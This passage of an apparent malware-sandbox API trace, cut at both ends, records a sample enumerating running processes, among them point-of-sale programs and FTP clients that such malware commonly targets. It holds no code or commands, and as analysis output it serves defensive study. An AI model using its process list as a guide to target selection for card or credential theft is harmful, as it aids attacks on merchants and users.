szExeFile="fpos.exe")) returned 1 [0121.341] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0121.343] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0121.345] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0121.347] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0121.349] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0121.350] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0121.352] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0121.355] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0121.357] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0121.359] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0121.361] Process32Next (in: hSnapshot=0x1e58, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0121.362] CloseHandle (hObject=0x1e58) returned 1 [0121.362] Sleep (dwMilliseconds=0x64) [0121.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2054 [0121.619] Process32First (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0121.621] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0121.623] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0121.626] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.628] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0121.629] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0121.631] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0121.633] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0121.635] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0121.637] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.639] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.641] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0121.643] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.646] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.647] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.650] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.652] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.654] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.656] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.661] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0121.664] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0121.666] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0121.668] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.670] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0121.672] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0121.674] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0121.676] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.678] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0121.680] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0121.682] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0121.684] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.686] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.688] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0121.690] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.692] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.694] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.697] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.699] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.701] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.703] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0121.705] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0121.707] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0121.709] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0121.711] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0121.713] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0121.715] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0121.719] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0121.721] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0121.728] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0121.731] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0121.733] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0121.735] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0121.737] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0121.739] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0121.741] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0121.743] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0121.745] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0121.746] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0121.749] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0121.751] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0121.754] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0121.756] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0121.759] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0121.761] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0121.764] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0121.767] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0121.771] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0121.774] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0121.778] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0121.782] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0121.785] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0121.791] Process32Next (in: hSnapshot=0x2054, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0121.798] Process32Next (in: 